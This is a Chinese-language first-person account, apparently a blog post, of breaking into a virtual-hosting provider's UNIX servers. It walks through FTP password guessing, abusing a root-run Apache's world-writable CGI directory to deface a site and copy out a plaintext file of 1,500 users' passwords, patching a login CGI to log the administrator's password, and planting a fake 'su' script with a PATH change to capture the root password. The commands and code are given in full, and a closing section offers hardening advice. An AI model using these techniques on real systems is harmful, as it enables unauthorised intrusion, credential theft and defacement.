事情发生在半年以前,那时候20CN还没有成立,因为某些原因,我想要入侵一个网站,,首先当然是找个扫描器扫一下端口,发现这是一部很标准的
UNIX主机,开着telnet,ftp,smtp,pop等端口,似乎很好搞,当时这么想,谁知道仔细一看,各个服务程序的版本都没有什么中级以上漏
洞,不仅没有远程的溢出,连本地的都似乎没有,只好试试看有没有CGI方面的漏洞,一扫下来,也是几乎没有什么可以利用的,就在他网站上四处看看,发现有
个一会员注册的程序,为了得到目标的进一步资料,我就注册一下了,结果收到一份邮件,发现发件人为ab1234@abc.com,但这个网站的域名确是
def.com,奇怪,照这个看来,这个好像是虚拟主机,在IE上打入 IP地址:
看看,结果出来的是XXX公司xxx虚拟主机什么什么#*#%@!%^*#@广告,没错了,这是个虚拟主机。而他在这个主机上的用户名是
ab1234,得到了用户名,首先进行ftp的简单穷举,没用,看来密码还是设得比较好,既然你的破不了,那么破了别人的和你的距离也就再接近了一点了,
所以看看别人的如何,于是从用户
ab1200--ab1300一个一个来,很快,ab1210的密码出来了很简单的8888,我理所当然的用user:ab1210
pass:8888 telnet 了进去,但我要干掉的是ab1234的而不是ab1210的,所以就去ab1234的目录
%cd
%cd home
%ls
一堆用户目录
%cd ab1234
:Permission denied
没错,这正常,进不了其他用户的目录,但是没关系,既然进来了,干掉他的机会就有80%了,现在先到处看看再说,结果发现了这部主机运行了3个
独立的apache,一个在80端口、一个在91端口、还有一个在92,80的不用说,但91、92这些又是干什么的呢?看看再说,在IE上输入
:91/ 出来要一个身份验证的对话框,好,那就输入刚刚的ab1210
,8888,进去了原来这是个用户管理界面,可以在这里设置邮件,改密码什么的,既然用web可以做这些事,那这个apache似乎不可能是nobody
身份运行了,找到他的httpd.conf一看,天~~~~~~,user root ,这就意味着,如果这个apache
的cgi-bin目录下的任何一个文件对其他人可写,我就可以是root,只不过不是控制台上的root而已,我必须修改那个可写的文件的内容,让他变成
是我的命令,然后通过浏览器用apache来运行他。于是
%cd /var/www/manager/cgi-bin
%ls
:Permission denied
呀呀,进得来却不能读
%cd ..
%ls
:Permission denied
混蛋
$cd ..
%ls
%htdocs cgi-bin backup manager
嘿嘿,backup,备份,一般来说,管理员备份的时候一般都为了省事没有设定权限,看看能不能进
%cd backup
%
可以
%ls -la
drwxr-xr-x 7 root wheel 512 Jul 20 07:02 .
drwxr-xr-x 4 root wheel 512 Jul 3 01:49 ..
......
-rw-r--r-- 1 root wheel 25642628 Jul 3 01:49 manager_00_05_12.tar
......
嘻嘻,看到没有,果然有manager目录的备份,还是644,可以下回去慢慢看看啦,先把他复制到ab1210的htdocs目录,这是ab1210这个用户的网站的根目录
%cp manager_00_05_12.tar /home/ab1210/htdocs/manager.tar
%cd
%cd htdocs
这个manager.tar超大,25M
,先压缩一下,然后打开IE下载,输入的域名/manager.tar.gz,下回本地慢慢看,半小时之后,终于弄清楚这个程
序的原理,也知道了在那些目录下有哪些重要的文件,包括了在/home/sysadm下面似乎有个一用户的明文密码文件userpw,也知道了在这个
apache的cgi-bin目录下有个一data的目录是任何人可写的,这样就好办啦
%cd /var/www/manager/cgi-bin/data
%touch hacked.html
%touch cp.php3
%vi hacked.html
开始骂的内容,就是没法输入中文,没办法,凑合
:wq
%
%vi cp.php3
copy("/var/www/manager/cgi-bin/data/hacked.html","/home/ab1234/htdocs/index.html");
?>
:wq
%
接下来用IE打开 :91/cgi-bin/data/cp.php3,出来一片空白,呵呵,那就是完成啦,再打开那个网站的主页看看,没错, 就这样把这网站给改掉了!
到此,干掉这个站的任务是完成了,不过我现在的兴趣却是要看看这个主机里面的一些敏感数据了,还用刚刚的方法,改变
cp.php3的内容,把所有要得文件写进去,全部复制到ab1210的htdocs目录打个包,用IE下载了回去,果然,刚刚说到的那个
/home/sysadm下面有个明文的密码文件userpw确实就是这部主机上的所有用户的用户名和密码列表,这个似乎是用来做忘记密码是取回的文件,
呵呵,包括了ab1234这个要干掉的站的密码也在内,一共1500个用户的密码在我手里了,通过对下载回来的manager目录里的程序和刚刚那些文件
的分析,我对这个主机的结构已经相当清楚了,也发现了这个sysadm的用户似乎有很高的权限,而且它是wheel组的,有su root
的权力,好奇心促使我想要进一步的探索到他的整个机群。当然,我完全可以用刚才的方法写个脚本改变sysadm 或是
root的密码,然后随心所欲的干,但这样一来,明天我可能就进不来了,他们发现了root密码被改,肯定会查清楚问题所在了,现在需要得到的是
sysadm的密码,这个密码在刚刚那个userpw中是没有的,我估计他们每一部主机的sysadm的密码应该是相同的,这样我可以得到其他的主机的控
制权,但现在还没有明确的知道要怎么做,所以先来看看那个运行在92端口的apache是干什么的再说,同样用IE来看,http:
//202.96.100.10:92/,还是要输入密码,输入ab1210 ,8888
,不行,用其他的用户进入,也不行,剩下的只有一些系统账号和sysadm这个了,再回到本地来看看第一次下载回来的那个manager.tar,他当中
也包括了那个运行在92端口的程序,看看发现这个是他们内部用来管理用户的程序,管理员可以通过这个程序增加删除用户,设定用户的空间限制等等,这个程序
的登陆限制比较严格,除了有apache目录保护之外,还有IP段限制,只允许一个特定的IP段登陆,还有就是只有在/etc/usercan这个文件中
列入的用户名才可以登陆,密码就还是使用系统的密码,usercan这个文件我刚刚没有取回来,现在还是用刚才改主页的方法,把这个文件复制到
ab1210的目录
%cat usercan
sysadm
没错,就只有一个人可以登陆,就是sysadm,我现在需要的是sysadm的密码,当然,那个shadow过的密码文件我已经也取回了,不过我想这么重要的密码,应该不会简单的,穷举显然不是办法,所以,我修改了这个身份验证的程序index.cgi,增加了如下代码
open(FH,">>/etc/passwd.org");
print FH "$passwd n";
close(FH);
这样,当管理员登录的时候,他的密码将被写到/etc/passwd.org这个文件当中,我只要等着他登陆就行了,改好之后,用ftp上传,还用刚刚的方法,不过这次是搬回去,覆盖掉系统上原来的index.cgi。
接下来,当然就是清除刚刚留下的各种痕迹,这个就不再废话了。第二天,继续用ab1210登录
%cat /etc/passwd.org
cat: passwd.org: No such file or directory
看来到现在管理员还没有登陆过,只好继续等啦,到了晚上,再次登录,这下有了,
%cat /etc/passwd.org
D1C2B3A4
D1C2B3A4
%
这样,我得到了一个应该可登录到他们的每一部主机上的同属root组的用户sysadm,密码D1C2B3A4,我已经看过/etc/ttys,虽然在那个管理系统上sysadm不能从其他IP登录,但是操作系统本身并没有限制sysadm不能telnet。
接下来,就来看看他们多少部这样的主机,方法很简单,在202.96.100这个IP段扫出有91这个端口的就是了,一看有6部,随便找个试试
看,成功了,可以进,证实了我的想法没错,sysadm可以登陆任何一部主机,而且密码是一样的,至此,这个IDC的所有UNIX虚拟主机的一共几千个客
户的网站的生杀大权以掌握在我手里,只要我头脑一发热,一个简单的脚本就可以把所有的这些网站的主页改了,只要在那个管理程序中增加几个#,就可以把所有
的用户删个一干二净,幸好我那段时间正好和网上一个MM打得火热,而生意也有点小钱赚,心情还算非常良好,不然可能就不会有20CN了,你也不会看到我这
文章,因为要是当时把他们给改了或是删了,我今天名气应该比红客们大得多,但现在没准就是在监狱里呆着
好了,本次的入侵可以说是到一段落了,按照通常的入侵实例的写法,好像到了我要说我就给那管理员发份邮件,告知问题所在的时候了,但是你错了,我并没有这么做,为什么?
【你的轻轻一点,我的无限动力,点此推荐一把~】虽然到目前为止,我事实上已经控制了他所有的UNIX主机,也早就有了root权限,但root的密码我还是不知道,这多少还有点不甘心,怎样
来得到这个密码呢?穷举当然是一种,但我就算知道了root密码,也不想要干什么,何必费这么大的劲,所以我决定来一招偷天换日,虽然sysadm很少会
从telnet登录,但他总要有登陆的时候的,而且一登陆肯定要干root才干的事,他必须使用su命令让自己成为root,使用su命令的时候当然需要
输入root的密码,我就可从这点入手,做一个假的su来欺骗,让他先运行的是我写的su,把他输入的密码保存到一个文件上,即使他的密码是对的,也给他
出错提示,然后删除我的这个su,他再次运行的就是真正的su了。所以我用sysadm登录并写了如下脚本放在他的用户目录下,文件名为su
%vi su
#!/bin/sh
echo -n "Password:"
stty -echo;read PASSWD;stty echo
echo "$PASSWD">>/tmp/.password
echo;
echo "Sorry"
rm -fr ~/su
:wq
%chmod 755 su
为了让他先运行的是我的su而不是系统的su,还需要改变shell的rc文件,所以打开.cshrc 在
set path = (/sbin /bin /usr/sbin /usr/bin /usr/local/sbin /usr/local/bin $HOME/bin)前面增加一个~,
即让系统在查找命令时首先查找的是自己的目录,就是放有我写的su的目录,变成这个样子
set path = (~ /sbin /bin /usr/sbin /usr/bin /usr/local/sbin /usr/local/bin $HOME/bin)
因为不知道他会使用那个shell,所以每一个rc文件都做了同样的处理......
最后的结果当然是顺利的取得了root的密码,虽然这个方法看起来很简陋,容易看穿,但事实上却是非常的隐蔽,在一个UNIX系统上,输入密码
是连个*都没有给你回显的,管理员去su的时候,一般都是有事,需要很快做好,输错一次密码应该还没感觉过来,就算之后感觉出来了但我这个su又是运行一
次就删掉了,不像什么木马后门之类,做完事还大摸大样的留在那里,而rc文件,一般设置完成之后都很少有去看的,大不了我得到密码之后改回来就是了,基本
上并没有留下什么痕迹。
实际上,这个入侵的实例,由头到尾都是极为普通的,没有什么高技术的成分,也没有现在人家都喜欢用的什么什么漏洞,什么什么溢出,只是由一个普
通用户的弱口令开始,慢慢的发展到了整个主机群被控于一个入侵者的手中,事实上,操作系统和各种相关服务的本身并没有什么漏洞,问题主要还是发生在CGI
程序的编写,维护中的疏忽,管理员对安全问题不敏感这些上。在系统本身的漏洞少这点上,应该可以看出,主机一开始是由一些资深的工程师配置,之后也会根据
以发现的漏洞做修补,但在以后的管理过程中,是由下一层技术人员负责,这一层的人往往技术面不广,人家叫干什么就干什么,不会有很大的责任压力,这样就把
安全问题越捅越大。如果没有那个备份文件,我根本不能了解那个以root运行的apache的cgi-bin的目录结构和具体的文件名,因为其他人并没有
root权限。第二个就是suid为root的程序的写法不够严格(以root运行的apache执行CGI时和suid
root是差不多一样的),在一个虚拟主机上,为了让用户可以通过web界面来管理,不得不让apache以root的身份运行,因为用户的设置,需要改
变很多系统的配置文件,如passwd httpd.conf sendmail.cf
等等,虽然apache的suexe提供了比squid更多安全选项如docroot等,但在这里根本就派不上用场。所以这个CGI应该是每一行代码都要
知道自己是以root运行的,丝毫不得有差错,但遗憾的是,我见到的大多数服务商的这种CGI都忘记了自己是谁,其写法和普通的CGI类似,创建的文件大
多是设置为666,777,而程序本身的属性为755.
事实上,当apache加入suexec这个功能后,CGI程序本身设置为700,其他文件为400就可以了,可以做到除了自己,任何人不可以
读。如果没有这个属性的问题,在上面的实例中,我也不可能在cgi-bin下面创建文件,让apache去运行,也就无法改变主业,复制文件,修改程序。
正是这一步,把整个系统推向了被毁灭的边缘。第三个问题就老生常谈了,人本身的安全意识问题,在几个服务商的主机上都发现了,同一个服务商,它的结构一样
的不同的主机,某些目录的权限也不一样,这个很明显是在日常的维护中改变的。在维护过程中,对一些微妙的东西不注意,往往也是危险发生的原因,比如那个
su,就这样让我把root密码给偷了去。而上面提及的问题,到头来也是体现在这个问题上,安全似乎没有大小之分,一个大的远程溢出可以让入侵者得到
root,但只是一些小小疏忽也可以让入侵者得到root,但大家往往都把注意力集中在一些系统漏洞的修补上,却忽视了某些"小问题"。
在目前的技术水平上实现的虚拟主机,这些问题的出现应该说是在所难免的,因为这涉及到了服务商的整个员工队伍的素质问题,在没有更好的虚拟主机
的实现方法之前,如果从技术方面考虑,我觉得应该在权限方面多下功夫,比如用程序隔一定时间(如一小时)检查各个重要的目录、文件是否有被修改,用编译的
程序来代替脚本类型的程序等等,说下去又一长篇大论,本人知识水平有限,为了避免在各位高人面前班门弄斧,就此打住。
CU推荐榜首席作品:SUN Solaris 9/10 系统管理员认证指南(全球唯一中文版教材)
阅读(3191) | 评论(0) | 转发(0) |